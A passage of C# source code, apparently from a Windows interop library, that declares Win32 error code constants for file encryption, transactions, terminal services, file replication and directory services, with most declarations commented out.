ERROR_FILE_NOT_ENCRYPTED = 6007; //public const uint ERROR_NOT_EXPORT_FORMAT = 6008; /// (6009) The specified file is read only. public const uint ERROR_FILE_READ_ONLY = 6009; //public const uint ERROR_DIR_EFS_DISALLOWED = 6010; //public const uint ERROR_EFS_SERVER_NOT_TRUSTED = 6011; /// (6012) Recovery policy configured for this system contains invalid recovery certificate. public const uint ERROR_BAD_RECOVERY_POLICY = 6012; //public const uint ERROR_EFS_ALG_BLOB_TOO_BIG = 6013; //public const uint ERROR_VOLUME_NOT_SUPPORT_EFS = 6014; //public const uint ERROR_EFS_DISABLED = 6015; //public const uint ERROR_EFS_VERSION_NOT_SUPPORT = 6016; //public const uint ERROR_NO_BROWSER_SERVERS_FOUND = 6118; //public const uint SCHED_E_SERVICE_NOT_LOCALSYSTEM = 6200; /// (6700) The transaction handle associated with this operation is not valid. public const uint ERROR_INVALID_TRANSACTION = 6700; /// (6701) The requested operation was made in the context /// of a transaction that is no longer active. /// public const uint ERROR_TRANSACTION_NOT_ACTIVE = 6701; /// (6702) The requested operation is not valid /// on the Transaction object in its current state. /// public const uint ERROR_TRANSACTION_REQUEST_NOT_VALID = 6702; /// (6703) The caller has called a response API, but the response is not expected /// because the TM did not issue the corresponding request to the caller. /// public const uint ERROR_TRANSACTION_NOT_REQUESTED = 6703; /// (6704) It is too late to perform the requested operation, /// since the Transaction has already been aborted. /// public const uint ERROR_TRANSACTION_ALREADY_ABORTED = 6704; /// (6705) It is too late to perform the requested operation, /// since the Transaction has already been committed. /// public const uint ERROR_TRANSACTION_ALREADY_COMMITTED = 6705; /// (6800) The function attempted to use a name /// that is reserved for use by another transaction. /// public const uint ERROR_TRANSACTIONAL_CONFLICT = 6800; /// (6805) The remote server or share does not support transacted file operations. public const uint ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE = 6805; //public const uint ERROR_CTX_WINSTATION_NAME_INVALID = 7001; //public const uint ERROR_CTX_INVALID_PD = 7002; //public const uint ERROR_CTX_PD_NOT_FOUND = 7003; //public const uint ERROR_CTX_WD_NOT_FOUND = 7004; //public const uint ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY = 7005; //public const uint ERROR_CTX_SERVICE_NAME_COLLISION = 7006; //public const uint ERROR_CTX_CLOSE_PENDING = 7007; //public const uint ERROR_CTX_NO_OUTBUF = 7008; //public const uint ERROR_CTX_MODEM_INF_NOT_FOUND = 7009; //public const uint ERROR_CTX_INVALID_MODEMNAME = 7010; //public const uint ERROR_CTX_MODEM_RESPONSE_ERROR = 7011; //public const uint ERROR_CTX_MODEM_RESPONSE_TIMEOUT = 7012; //public const uint ERROR_CTX_MODEM_RESPONSE_NO_CARRIER = 7013; //public const uint ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE = 7014; //public const uint ERROR_CTX_MODEM_RESPONSE_BUSY = 7015; //public const uint ERROR_CTX_MODEM_RESPONSE_VOICE = 7016; //public const uint ERROR_CTX_TD_ERROR = 7017; //public const uint ERROR_CTX_WINSTATION_NOT_FOUND = 7022; //public const uint ERROR_CTX_WINSTATION_ALREADY_EXISTS = 7023; //public const uint ERROR_CTX_WINSTATION_BUSY = 7024; //public const uint ERROR_CTX_BAD_VIDEO_MODE = 7025; //public const uint ERROR_CTX_GRAPHICS_INVALID = 7035; //public const uint ERROR_CTX_LOGON_DISABLED = 7037; //public const uint ERROR_CTX_NOT_CONSOLE = 7038; //public const uint ERROR_CTX_CLIENT_QUERY_TIMEOUT = 7040; //public const uint ERROR_CTX_CONSOLE_DISCONNECT = 7041; //public const uint ERROR_CTX_CONSOLE_CONNECT = 7042; //public const uint ERROR_CTX_SHADOW_DENIED = 7044; //public const uint ERROR_CTX_WINSTATION_ACCESS_DENIED = 7045; //public const uint ERROR_CTX_INVALID_WD = 7049; //public const uint ERROR_CTX_SHADOW_INVALID = 7050; //public const uint ERROR_CTX_SHADOW_DISABLED = 7051; //public const uint ERROR_CTX_CLIENT_LICENSE_IN_USE = 7052; //public const uint ERROR_CTX_CLIENT_LICENSE_NOT_SET = 7053; //public const uint ERROR_CTX_LICENSE_NOT_AVAILABLE = 7054; //public const uint ERROR_CTX_LICENSE_CLIENT_INVALID = 7055; //public const uint ERROR_CTX_LICENSE_EXPIRED = 7056; //public const uint ERROR_CTX_SHADOW_NOT_RUNNING = 7057; //public const uint ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE = 7058; //public const uint ERROR_ACTIVATION_COUNT_EXCEEDED = 7059; //public const uint FRS_ERR_INVALID_API_SEQUENCE = 8001; //public const uint FRS_ERR_STARTING_SERVICE = 8002; //public const uint FRS_ERR_STOPPING_SERVICE = 8003; //public const uint FRS_ERR_INTERNAL_API = 8004; //public const uint FRS_ERR_INTERNAL = 8005; //public const uint FRS_ERR_SERVICE_COMM = 8006; //public const uint FRS_ERR_INSUFFICIENT_PRIV = 8007; //public const uint FRS_ERR_AUTHENTICATION = 8008; //public const uint FRS_ERR_PARENT_INSUFFICIENT_PRIV = 8009; //public const uint FRS_ERR_PARENT_AUTHENTICATION = 8010; //public const uint FRS_ERR_CHILD_TO_PARENT_COMM = 8011; //public const uint FRS_ERR_PARENT_TO_CHILD_COMM = 8012; //public const uint FRS_ERR_SYSVOL_POPULATE = 8013; //public const uint FRS_ERR_SYSVOL_POPULATE_TIMEOUT = 8014; //public const uint FRS_ERR_SYSVOL_IS_BUSY = 8015; //public const uint FRS_ERR_SYSVOL_DEMOTE = 8016; //public const uint FRS_ERR_INVALID_SERVICE_PARAMETER = 8017; //public const uint ERROR_DS_NOT_INSTALLED = 8200; //public const uint ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY = 8201; //public const uint ERROR_DS_NO_ATTRIBUTE_OR_VALUE = 8202; //public const uint ERROR_DS_INVALID_ATTRIBUTE_SYNTAX = 8203; //public const uint ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED = 8204; //public const uint ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS = 8205; //public const uint ERROR_DS_BUSY = 8206; //public const uint ERROR_DS_UNAVAILABLE = 8207; //public const uint ERROR_DS_NO_RIDS_ALLOCATED = 8208; //public const uint ERROR_DS_NO_MORE_RIDS = 8209; //public const uint ERROR_DS_INCORRECT_ROLE_OWNER = 8210; //public const uint ERROR_DS_RIDMGR_INIT_ERROR = 8211; //public const uint ERROR_DS_OBJ_CLASS_VIOLATION = 8212; //public const uint ERROR_DS_CANT_ON_NON_LEAF = 8213; //public const uint ERROR_DS_CANT_ON_RDN = 8214; //public const uint ERROR_DS_CANT_MOD_OBJ_CLASS = 8215; //public const uint ERROR_DS_CROSS_DOM_MOVE_ERROR = 8216; //public const uint ERROR_DS_GC_NOT_AVAILABLE = 8217; //public const uint ERROR_SHARED_POLICY = 8218; //public const uint ERROR_POLICY_OBJECT_NOT_FOUND = 8219; //public const uint ERROR_POLICY_ONLY_IN_DS = 8220; //public const uint ERROR_PROMOTION_ACTIVE = 8221; //public const uint ERROR_NO_PROMOTION_ACTIVE = 8222; //public const uint ERROR_DS_OPERATIONS_ERROR = 8224; //public const uint ERROR_DS_PROTOCOL_ERROR = 8225; //public const uint ERROR_DS_TIMELIMIT_EXCEEDED = 8226; //public const uint ERROR_DS_SIZELIMIT_EXCEEDED = 8227; //public const uint ERROR_DS_ADMIN_LIMIT_EXCEEDED = 8228; //public const uint ERROR_DS_COMPARE_FALSE = 8229; //public const uint ERROR_DS_COMPARE_TRUE = 8230; //public const uint ERROR_DS_AUTH_METHOD_NOT_SUPPORTED = 8231; //public const uint ERROR_DS_STRONG_AUTH_REQUIRED = 8232; //public const uint ERROR_DS_INAPPROPRIATE_AUTH = 8233; //public const uint ERROR_DS_AUTH_UNKNOWN = 8234; //public const uint ERROR_DS_REFERRAL = 8235; //public const uint ERROR_DS_UNAVAILABLE_CRIT_EXTENSION = 8236; //public const uint ERROR_DS_CONFIDENTIALITY_REQUIRED = 8237; //public const uint ERROR_DS_INAPPROPRIATE_MATCHING = 8238; //public const uint ERROR_DS_CONSTRAINT_VIOLATION = 8239; //public const uint ERROR_DS_NO_SUCH_OBJECT = 8240; //public const uint ERROR_DS_ALIAS_PROBLEM = 8241; //public const uint ERROR_DS_INVALID_DN_SYNTAX = 8242; //public const uint ERROR_DS_IS_LEAF = 8243; //public const uint ERROR_DS_ALIAS_DEREF_PROBLEM = 8244; //public const uint ERROR_DS_UNWILLING_TO_PERFORM = 8245; //public const uint ERROR_DS_LOOP_DETECT = 8246; //public const uint ERROR_DS_NAMING_VIOLATION = 8247; //public const uint ERROR_DS_OBJECT_RESULTS_TOO_LARGE = 8248; //public const uint ERROR_DS_AFFECTS_MULTIPLE_DSAS = 8249; //public const uint ERROR_DS_SERVER_DOWN = 8250; //public const uint ERROR_DS_LOCAL_ERROR = 8251; //public const uint ERROR_DS_ENCODING_ERROR = 8252; //public const uint ERROR_DS_DECODING_ERROR = 8253; //public const uint ERROR_DS_FILTER_UNKNOWN = 8254; //public const uint ERROR_DS_PARAM_ERROR = 8255; //public const uint ERROR_DS_NOT_SUPPORTED = 8256; //public const uint ERROR_DS_NO_RESULTS_RETURNED = 8257; //public const uint ERROR_DS_CONTROL_NOT_FOUND = 8258; //public const uint ERROR_DS_CLIENT_LOOP = 8259; //public const uint ERROR_DS_REFERRAL_LIMIT_EXCEEDED = 8260; //public const uint ERROR_DS_SORT_CONTROL_MISSING = 8261; //public const uint ERROR_DS_OFFSET_RANGE_ERROR = 8262; //public const uint ERROR_DS_ROOT_MUST_BE_NC = 8301; //public const uint ERROR_DS_ADD_REPLICA_INHIBITED = 8302; //public const uint ERROR_DS_ATT_NOT_DEF_IN_SCHEMA = 8303; //public const uint ERROR_DS_MAX_OBJ_SIZE_EXCEEDED = 8304; //public const uint ERROR_DS_OBJ_STRING_NAME_EXISTS = 8305; //public const uint ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA = 8306; //public const uint ERROR_DS_RDN_DOESNT_MATCH_SCHEMA = 8307; //public const uint ERROR_DS_NO_REQUESTED_ATTS_FOUND = 8308; //public const uint ERROR_DS_USER_BUFFER_TO_SMALL = 8309; //public const uint ERROR_DS_ATT_IS_NOT_ON_OBJ = 8310; //public const uint ERROR_DS_ILLEGAL_MOD_OPERATION = 8311; //public const uint ERROR_DS_OBJ_TOO_LARGE = 8312; //public const uint ERROR_DS_BAD_INSTANCE_TYPE = 8313; //public const uint ERROR_DS_MASTERDSA_REQUIRED = 8314; //public const uint ERROR_DS_OBJECT_CLASS_REQUIRED = 8315; //public const uint ERROR_DS_MISSING_REQUIRED_ATT = 8316; //public const uint ERROR_DS_ATT_NOT_DEF_FOR_CLASS = 8317; //public const uint ERROR_DS_ATT_ALREADY_EXISTS = 8318; //public const uint ERROR_DS_CANT_ADD_ATT_VALUES = 8320; //public const uint ERROR_DS_SINGLE_VALUE_CONSTRAINT = 8321; //public const uint ERROR_DS_RANGE_CONSTRAINT = 8322; //public const uint ERROR_DS_ATT_VAL_ALREADY_EXISTS = 8323; //public const uint ERROR_DS_CANT_REM_MISSING_ATT = 8324; //public const uint ERROR_DS_CANT_REM_MISSING_ATT_VAL = 8325; //public const uint ERROR_DS_ROOT_CANT_BE_SUBREF = 8326; //public const uint ERROR_DS_NO_CHAINING = 8327; //public const uint ERROR_DS_NO_CHAINED_EVAL = 8328; //public const uint ERROR_DS_NO_PARENT_OBJECT = 8329; //public const uint ERROR_DS_PARENT_IS_AN_ALIAS = 8330; //public const uint ERROR_DS_CANT_MIX_MASTER_AND_REPS = 8331; //public const uint ERROR_DS_CHILDREN_EXIST = 8332; //public const uint ERROR_DS_OBJ_NOT_FOUND = 8333; //public const uint ERROR_DS_ALIASED_OBJ_MISSING = 8334; //public const uint ERROR_DS_BAD_NAME_SYNTAX = 8335; //public const uint ERROR_DS_ALIAS_POINTS_TO_ALIAS = 8336; //public const uint ERROR_DS_CANT_DEREF_ALIAS = 8337; //public const uint ERROR_DS_OUT_OF_SCOPE = 8338; //public const uint ERROR_DS_OBJECT_BEING_REMOVED = 8339; //public const uint ERROR_DS_CANT_DELETE_DSA_OBJ = 8340; //public const uint ERROR_DS_GENERIC_ERROR = 8341; //public const uint ERROR_DS_DSA_MUST_BE_INT_MASTER = 8342; //public const uint ERROR_DS_CLASS_NOT_DSA = 8343; //public const uint ERROR_DS_INSUFF_ACCESS_RIGHTS = 8344; //public const uint ERROR_DS_ILLEGAL_SUPERIOR = 8345; //public const uint ERROR_DS_ATTRIBUTE_OWNED_BY_SAM = 8346; //public const uint ERROR_DS_NAME_TOO_MANY_PARTS = 8347; //public const uint ERROR_DS_NAME_TOO_LONG = 8348; //public const uint ERROR_DS_NAME_VALUE_TOO_LONG = 8349; //public const uint ERROR_DS_NAME_UNPARSEABLE = 8350; //public const uint ERROR_DS_NAME_TYPE_UNKNOWN = 8351; //public const uint ERROR_DS_NOT_AN_OBJECT = 8352; //public const uint ERROR_DS_SEC_DESC_TOO_SHORT = 8353; //public const uint ERROR_DS_SEC_DESC_INVALID = 8354; //public const uint ERROR_DS_NO_DELETED_NAME = 8355; //public const uint ERROR_DS_SUBREF_MUST_HAVE_PARENT = 8356; //public const uint ERROR_DS_NCNAME_MUST_BE_NC = 8357; //public const uint ERROR_DS_CANT_ADD_SYSTEM_ONLY = 8358; //public const uint ERROR_DS_CLASS_MUST_BE_CONCRETE = 8359; //public const uint ERROR_DS_INVALID_DMD = 8360; //public const uint ERROR_DS_OBJ_GUID_EXISTS = 8361; //public const uint ERROR_DS_NOT_ON_BACKLINK = 8362; //public const uint ERROR_DS_NO_CROSSREF_FOR_NC = 8363; //public const uint ERROR_DS_SHUTTING_DOWN = 8364; //public const uint ERROR_DS_UNKNOWN_OPERATION = 8365; //public const uint ERROR_DS_INVALID_ROLE_OWNER = 8366; //public const uint ERROR_DS_COULDNT_CONTACT_FSMO = 8367; //public const uint ERROR_DS_CROSS_NC_DN_RENAME = 8368; //public const uint ERROR_DS_CANT_MOD_SYSTEM_ONLY = 8369; //public const uint ERROR_DS_REPLICATOR_ONLY = 8370; //public const uint ERROR_DS_OBJ_CLASS_NOT_DEFINED = 8371; //public const uint ERROR_DS_OBJ_CLASS_NOT_SUBCLASS = 8372; //public const uint ERROR_DS_NAME_REFERENCE_INVALID = 8373; //public const uint ERROR_DS_CROSS_REF_EXISTS = 8374; //public const uint ERROR_DS_CANT_DEL_MASTER_CROSSREF = 8375; //public const uint ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD = 8376; //public const uint ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX = 8377; //public const uint ERROR_DS_DUP_RDN = 8378; //public const uint ERROR_DS_DUP_OID = 8379; //public const uint ERROR_DS_DUP_MAPI_ID = 8380; //public const uint ERROR_DS_DUP_SCHEMA_ID_GUID = 8381; //public const uint ERROR_DS_DUP_LDAP_DISPLAY_NAME = 8382; //public const uint ERROR_DS_SEMANTIC_ATT_TEST = 8383; //public const uint ERROR_DS_SYNTAX_MISMATCH = 8384; //public const uint ERROR_DS_EXISTS_IN_MUST_HAVE = 8385; //public const uint ERROR_DS_EXISTS_IN_MAY_HAVE = 8386; //public const uint ERROR_DS_NONEXISTENT_MAY_HAVE = 8387; //public const uint ERROR_DS_NONEXISTENT_MUST_HAVE = 8388; //public const uint ERROR_DS_AUX_CLS_TEST_FAIL = 8389; //public const uint ERROR_DS_NONEXISTENT_POSS_SUP = 8390; //public const uint ERROR_DS_SUB_CLS_TEST_FAIL = 8391; //public const uint ERROR_DS_BAD_RDN_ATT_ID_SYNTAX = 8392; //public const uint ERROR_DS_EXISTS_IN_AUX_CLS = 8393; //public const uint ERROR_DS_EXISTS_IN_SUB_CLS = 8394; //public const uint ERROR_DS_EXISTS_IN_POSS_SUP = 8395; //public const uint ERROR_DS_RECALCSCHEMA_FAILED = 8396; //public const uint ERROR_DS_TREE_DELETE_NOT_FINISHED = 8397; //public const uint ERROR_DS_CANT_DELETE = 8398; //public const uint ERROR_DS_ATT_SCHEMA_REQ_ID = 8399; //public const uint ERROR_DS_BAD_ATT_SCHEMA_SYNTAX = 8400; //public const uint ERROR_DS_CANT_CACHE_ATT = 8401; //public const uint ERROR_DS_CANT_CACHE_CLASS = 8402; //public const uint ERROR_DS_CANT_REMOVE_ATT_CACHE = 8403; //public const uint ERROR_DS_CANT_REMOVE_CLASS_CACHE = 8404; //public const uint ERROR_DS_CANT_RETRIEVE_DN = 8405; //public const uint ERROR_DS_MISSING_SUPREF = 8406; //public const uint ERROR_DS_CANT_RETRIEVE_INSTANCE = 8407; //public const uint ERROR_DS_CODE_INCONSISTENCY = 8408; //public const uint ERROR_DS_DATABASE_ERROR = 8409; //public const uint ERROR_DS_GOVERNSID_MISSING = 8410; //public const uint ERROR_DS_MISSING_EXPECTED_ATT = 8411; //public const uint ERROR_DS_NCNAME_MISSING_CR_REF = 8412; //public const uint ERROR_DS_SECURITY_CHECKING_ERROR = 8413; //public const uint ERROR_DS_SCHEMA_NOT_LOADED = 8414; //public const uint ERROR_DS_SCHEMA_ALLOC_FAILED = 8415; //public const uint ERROR_DS_ATT_SCHEMA_REQ_SYNTAX = 8416; //public const uint ERROR_DS_GCVERIFY_ERROR = 8417; //public const uint ERROR_DS_DRA_SCHEMA_MISMATCH = 8418; //public const uint ERROR_DS_CANT_FIND_DSA_OBJ = 8419; //public const uint ERROR_DS_CANT_FIND_EXPECTED_NC = 8420; //public const uint ERROR_DS_CANT_FIND_NC_IN_CACHE = 8421; //public const uint ERROR_DS_CANT_RETRIEVE_CHILD = 8422; //public const uint ERROR_DS_SECURITY_ILLEGAL_MODIFY = 8423; //public const uint ERROR_DS_CANT_REPLACE_HIDDEN_REC = 8424; //public const uint ERROR_DS_BAD_HIERARCHY_FILE = 8425; //public const uint ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED = 8426; //public const uint ERROR_DS_CONFIG_PARAM_MISSING = 8427; //public const uint ERROR_DS_COUNTING_AB_INDICES_FAILED = 8428; //public const uint ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED = 8429; //public const uint ERROR_DS_INTERNAL_FAILURE = 8430; //public const uint ERROR_DS_UNKNOWN_ERROR = 8431; //public const uint ERROR_DS_ROOT_REQUIRES_CLASS_TOP = 8432; //public const uint ERROR_DS_REFUSING_FSMO_ROLES = 8433; //public const uint ERROR_DS_MISSING_FSMO_SETTINGS = 8434; //public const uint ERROR_DS_UNABLE_TO_SURRENDER_ROLES = 8435; //public const uint ERROR_DS_DRA_GENERIC = 8436; //public const uint ERROR_DS_DRA_INVALID_PARAMETER = 8437; //public const uint ERROR_DS_DRA_BUSY = 8438; //public const uint ERROR_DS_DRA_BAD_DN = 8439; //public const uint ERROR_DS_DRA_BAD_NC = 8440; //public const uint ERROR_DS_DRA_DN_EXISTS = 8441; //public const uint ERROR_DS_DRA_INTERNAL_ERROR = 8442; //public const uint ERROR_DS_DRA_INCONSISTENT_DIT = 8443; //public const uint ERROR_DS_DRA_CONNECTION_FAILED = 8444; //public const uint ERROR_DS_DRA_BAD_INSTANCE_TYPE = 8445; //public const uint ERROR_DS_DRA_OUT_OF_MEM = 8446; //public const uint ERROR_DS_DRA_MAIL_PROBLEM = 8447; //public const uint ERROR_DS_DRA_REF_ALREADY_EXISTS = 8448; //public const uint ERROR_DS_DRA_REF_NOT_FOUND = 8449; //public const uint ERROR_DS_DRA_OBJ_IS_REP_SOURCE = 8450; //public const uint ERROR_DS_DRA_DB_ERROR = 8451; //public const uint ERROR_DS_DRA_NO_REPLICA = 8452; //public const uint ERROR_DS_DRA_ACCESS_DENIED = 8453; //public const uint ERROR_DS_DRA_NOT_SUPPORTED = 8454; //public const uint ERROR_DS_DRA_RPC_CANCELLED = 8455; //public const uint ERROR_DS_DRA_SOURCE_DISABLED = 8456; //public const uint ERROR_DS_DRA_SINK_DISABLED = 8457; //public const uint ERROR_DS_DRA_NAME_COLLISION = 8458; //public const uint ERROR_DS_DRA_SOURCE_REINSTALLED = 8459; //public const uint ERROR_DS_DRA_MISSING_PARENT = 8460; //public const uint ERROR_DS_DRA_PREEMPTED = 8461; //public const uint ERROR_DS_DRA_ABANDON_SYNC = 8462; //public const uint ERROR_DS_DRA_SHUTDOWN = 8463; //public const uint ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET = 8464; //public const uint ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA = 8465; //public const uint ERROR_DS_DRA_EXTN_CONNECTION_FAILED = 8466; //public const uint ERROR_DS_INSTALL_SCHEMA_MISMATCH = 8467; //public const uint ERROR_DS_DUP_LINK_ID = 8468; //public const uint ERROR_DS_NAME_ERROR_RESOLVING = 8469; //public const uint ERROR_DS_NAME_ERROR_NOT_FOUND = 8470; //public const uint ERROR_DS_NAME_ERROR_NOT_UNIQUE = 8471; //public const uint ERROR_DS_NAME_ERROR_NO_MAPPING = 8472; //public const uint ERROR_DS_NAME_ERROR_DOMAIN_ONLY = 8473; //public const uint ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 8474; //public const uint ERROR_DS_CONSTRUCTED_ATT_MOD = 8475; //public const uint ERROR_DS_WRONG_OM_OBJ_CLASS = 8476; //public const uint ERROR_DS_DRA_REPL_PENDING = 8477; //public const uint ERROR_DS_DS_REQUIRED = 8478; //public const uint ERROR_DS_INVALID_LDAP_DISPLAY_NAME = 8479; //public const uint ERROR_DS_NON_BASE_SEARCH = 8480; //public const uint ERROR_DS_CANT_RETRIEVE_ATTS = 8481; //public const uint ERROR_DS_BACKLINK_WITHOUT_LINK = 8482; //public const uint ERROR_DS_EPOCH_MISMATCH = 8483; //public const uint ERROR_DS_SRC_NAME_MISMATCH = 8484; //public const uint ERROR_DS_SRC_AND_DST_NC_IDENTICAL = 8485; //public const uint ERROR_DS_DST_NC_MISMATCH = 8486; //public const uint ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC = 8487; //public const uint ERROR_DS_SRC_GUID_MISMATCH = 8488; //public const uint ERROR_DS_CANT_MOVE_DELETED_OBJECT = 8489; //public const uint ERROR_DS_PDC_OPERATION_IN_PROGRESS = 8490; //public const uint ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD = 8491; //public const uint ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION = 8492; //public const uint ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS = 8493; //public const uint ERROR_DS_NC_MUST_HAVE_NC_PARENT = 8494; //public const uint ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE = 8495; //public const uint ERROR_DS_DST_DOMAIN_NOT_NATIVE = 8496; //public const uint ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER = 8497; //public const uint ERROR_DS_CANT_MOVE_ACCOUNT_GROUP = 8498; //public const uint ERROR_DS_CANT_MOVE_RESOURCE_GROUP = 8499; //public const uint ERROR_DS_INVALID_SEARCH_FLAG = 8500; //public const uint ERROR_DS_NO_TREE_DELETE_ABOVE_NC = 8501; //public const uint ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE = 8502; //public const uint ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE = 8503; //public const uint ERROR_DS_SAM_INIT_FAILURE = 8504; //public const uint ERROR_DS_SENSITIVE_GROUP_VIOLATION = 8505; //public const uint ERROR_DS_CANT_MOD_PRIMARYGROUPID = 8506; //public const uint ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD = 8507; //public const uint ERROR_DS_NONSAFE_SCHEMA_CHANGE = 8508; //public const uint ERROR_DS_SCHEMA_UPDATE_DISALLOWED = 8509; //public const uint ERROR_DS_CANT_CREATE_UNDER_SCHEMA = 8510; //public const uint ERROR_DS_INSTALL_NO_SRC_SCH_VERSION = 8511; //public const uint ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE = 8512; //public const uint ERROR_DS_INVALID_GROUP_TYPE = 8513; //public const uint ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 8514; //public const uint ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 8515; //public const uint ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 8516; //public const uint ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 8517; //public const uint ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 8518; //public const uint ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 8519; //public const uint ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 8520; //public const uint ERROR_DS_HAVE_PRIMARY_MEMBERS = 8521; //public const uint ERROR_DS_STRING_SD_CONVERSION_FAILED = 8522; //public const uint ERROR_DS_NAMING_MASTER_GC = 8523; //public const uint ERROR_DS_DNS_LOOKUP_FAILURE = 8524; //public const uint ERROR_DS_COULDNT_UPDATE_SPNS = 8525; //public const uint ERROR_DS_CANT_RETRIEVE_SD = 8526; //public const uint ERROR_DS_KEY_NOT_UNIQUE = 8527; //public const uint ERROR_DS_WRONG_LINKED_ATT_SYNTAX = 8528; //public const uint ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD = 8529; //public const uint ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY = 8530; //public const uint ERROR_DS_CANT_START = 8531; //public const uint ERROR_DS_INIT_FAILURE = 8532; //public const uint ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION = 8533; //public const uint ERROR_DS_SOURCE_DOMAIN_IN_FOREST = 8534; //public const uint ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST = 8535; //public const uint ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED = 8536; //public const uint ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN = 8537; //public const uint ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER = 8538; //public const uint ERROR_DS_SRC_SID_EXISTS_IN_FOREST = 8539; //public const uint ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH = 8540; //public const uint ERROR_SAM_INIT_FAILURE = 8541; //public const uint ERROR_DS_DRA_SCHEMA_INFO_SHIP = 8542; //public const uint ERROR_DS_DRA_SCHEMA_CONFLICT = 8543; //public const uint ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT = 8544; //public const uint ERROR_DS_DRA_OBJ_NC_MISMATCH = 8545; //public const uint ERROR_DS_NC_STILL_HAS_DSAS = 8546; //public const uint ERROR_DS_GC_REQUIRED = 8547; //public const uint ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 8548; //public const uint ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 8549; //public const uint ERROR_DS_CANT_ADD_TO_GC = 8550; //public const uint ERROR_DS_NO_CHECKPOINT_WITH_PDC = 8551; //public const uint ERROR_DS_SOURCE_AUDITING_NOT_ENABLED = 8552; //public const uint ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC = 8553; //public const uint ERROR_DS_INVALID_NAME_FOR_SPN = 8554; //public const uint ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS = 8555; //public const uint ERROR_DS_UNICODEPWD_NOT_IN_QUOTES = 8556; //public const uint ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 8557; //public const uint ERROR_DS_MUST_BE_RUN_ON_DST_DC = 8558; //public const uint ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER = 8559; //public const uint ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ = 8560; //public const uint ERROR_DS_INIT_FAILURE_CONSOLE = 8561; //public const uint ERROR_DS_SAM_INIT_FAILURE_CONSOLE = 8562; //public const uint ERROR_DS_FOREST_VERSION_TOO_HIGH = 8563; //public const uint ERROR_DS_DOMAIN_VERSION_TOO_HIGH = 8564; //public const uint ERROR_DS_FOREST_VERSION_TOO_LOW = 8565; //public const uint ERROR_DS_DOMAIN_VERSION_TOO_LOW = 8566; //public const uint ERROR_DS_INCOMPATIBLE_VERSION = 8567; //public const uint ERROR_DS_LOW_DSA_VERSION = 8568; //public const uint ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN = 8569; //public const uint ERROR_DS_NOT_SUPPORTED_SORT_ORDER = 8570; //public const uint ERROR_DS_NAME_NOT_UNIQUE = 8571; //public const uint ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 = 8572; //public const uint ERROR_DS_OUT_OF_VERSION_STORE = 8573; //public const uint ERROR_DS_INCOMPATIBLE_CONTROLS_USED = 8574; //public const uint ERROR_DS_NO_REF_DOMAIN = 8575; //public const uint ERROR_DS_RESERVED_LINK_ID = 8576; //public const uint ERROR_DS_LINK_ID_NOT_AVAILABLE = 8577; //public const uint ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 8578; //public const uint ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE = 8579; //public const uint ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC = 8580; //public const uint ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG = 8581; //public const uint ERROR_DS_MODIFYDN_WRONG_GRANDPARENT = 8582; //public const uint ERROR_DS_NAME_ERROR_TRUST_REFERRAL = 8583; //public const uint ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER = 8584; //public const uint ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD = 8585; //public const uint ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 = 8586; //public const uint ERROR_DS_THREAD_LIMIT_EXCEEDED = 8587; //public const uint ERROR_DS_NOT_CLOSEST = 8588; //public const uint ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF = 8589; //public const uint ERROR_DS_SINGLE_USER_MODE_FAILED = 8590; //public const uint 